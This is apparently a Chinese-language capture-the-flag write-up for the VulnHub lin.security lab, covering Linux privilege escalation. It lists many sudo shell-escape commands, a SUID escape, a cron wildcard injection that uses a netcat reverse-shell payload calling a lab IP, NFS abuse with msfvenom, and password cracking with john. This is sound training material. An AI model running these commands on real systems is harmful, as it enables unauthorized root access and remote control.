一、靶机下载地址
https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova
二、配置环境
1.配置ens33环境,打开虚拟机时按下shift键进入此界面
2.按e键进入,在末尾处找到ro,将他替换为rw sigine init=/bin/bash
3.按下ctrl+x键,进入以下界面
4.进入netplan目录修改里面的文件
cd /etc/netplan
5.vim修改,将红框处改为ens33
6.重启网卡,修改完后重启靶机即可发现ip地址
Ifconfig ens33 down
ifconfig ens33 up
三、sudo提权
1、主机发现
#使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 '00:0C:29:75:DC:71'
2、SSH连接靶机、账号密码为bob:secret
# 使用命令
ssh bob@192.168.145.174
3、查看当前用户和权限
# 使用命令
# 查看当前用户
whoami
# 查看用户权限
id
4、查看内核版本信息
# 使用命令
# uname -r
5、输入sudo -l
显示允许当前用户使用的命令
# 使用命令
# sudo -l
6、使用辅助网址、根据结果执行对应命令进行提权
# 辅助网址
# https://gtfobins.github.io/
ash:
# 使用命令
# sudo ash
awk:
# 使用命令
# sudo awk 'BEGIN {system("/bin/sh")}'
bash:
# 使用命令
# sudo bash
csh:
# 使用命令
# sudo csh
dash:
# 使用命令
# sudo dash
ed:
# 使用命令
# sudo ed
#!/bin/sh
env:
# 使用命令
# sudo env /bin/sh
expect:
# 使用命令
# sudo expect -c 'spawn /bin/sh;interact'
find:
# 使用命令
# sudo find . -exec /bin/sh \; -quit
ftp:
# 使用命令
# sudo ftp
# !/bin/sh
less:
# 使用命令
# sudo less /etc/profile
# !/bin/sh
man:
# 使用命令
# sudo man man
# !/bin/sh
more:
# 使用命令
# TERM= sudo more /etc/profile
# !/bin/sh
scp:
# 使用命令
# TF=$(mktemp)
# echo 'sh 0<&2 1>&2' > $TF
# chmod +x "$TF"
# sudo scp -S $TF x y:
socat:
# 使用命令
# sudo socat stdin exec:/bin/sh
ssh:
# 使用命令
# sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi:
# 使用命令
# sudo vi -c ':!/bin/sh' /dev/null
zsh:
# 使用命令
# sudo zsh
perl:
# 使用命令
# sudo perl -e 'exec "/bin/sh";'
tclsh:
# 使用命令
# sudo tclsh
# exec /bin/sh <@stdin >@stdout 2>@stderr
git:
# 使用命令
# sudo git -p help config
# !/bin/sh
script:
# 使用命令
# sudo script -q /dev/null
四、SUID提权
1、查看suid文件
# 使用命令
# find / -perm -u=s -type f 2>/dev/null
2、使用辅助网址、根据结果执行对应命令进行提权
# 辅助网址
# https://gtfobins.github.io/
taskset:
# 使用命令
# taskset 1 /bin/bash -p
五、计划任务提权
1、查看计划任务
# 使用命令
# cat /etc/crontab
2、生成payload
# 使用命令
# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.145.146 lport=9999 R
# payload
mkfifo /tmp/gomlnf; nc 192.168.145.146 9999 0</tmp/gomlnf | /bin/sh >/tmp/gomlnf 2>&1; rm /tmp/gomlnf
3、靶机执行命令
# 使用命令
# echo "mkfifo /tmp/jeuhde; nc 192.168.145.146 9999 0</tmp/jeuhde | /bin/sh >/tmp/jeuhde 2>&1; rm /tmp/jeuhde" > shell.sh && chmod +x shell.sh
# echo > "--checkpoint-action=exec=sh shell.sh"
# echo > "--checkpoint=1"
# nc -lvnp 9999
发现没有成功反弹上
六、NFS提权
1、查看是否开启NFS
# 使用命令
# cat /etc/exports
2、查看可以访问的NFS目录
# 使用命令
# showmount -e 192.168.23.166
3、创建nfs目录并挂载
# 使用命令
# mkdir /tmp/nfs
4、挂载目录到/tmp/nfs
# 使用命令
# mount -o rw,vers=3 192.168.145.174:/home/peter /tmp/nfs
5、生成恶意文件,发现没有写入权限,创建一个gid为1005的用户组,然后创建peter账户,uid指定为1001,gid指定为1005
# 使用命令
# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
# 创建用户组
# groupadd -g 1005 peter
# 创建用户
# adduser peter -uid 1001 -gid 1005
6、切换到peter用户,再次生成恶意文件
# 使用命令
# su peter
# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
7、赋予shell.elf
文件后执行,发现成功执行,但是没有提权
# 使用命令
# chmod +x shell.elf
# ./shell.elf
七、不安全配置
1、查看/etc/passwd文件、发现有一个有root权限的用户存在加密的密码
# 使用命令
# cat /etc/passwd
2、将密码写入1.txt
文件中,利用john
进行解密、得到密码为P@ssw0rd
# 使用命令
# vi 1.txt
# 使用john进行解密
# sudo john --wordlist=rockyou.txt 1.txt
3、登录insecurity
用户、成功提权
# 使用命令
# su insecurity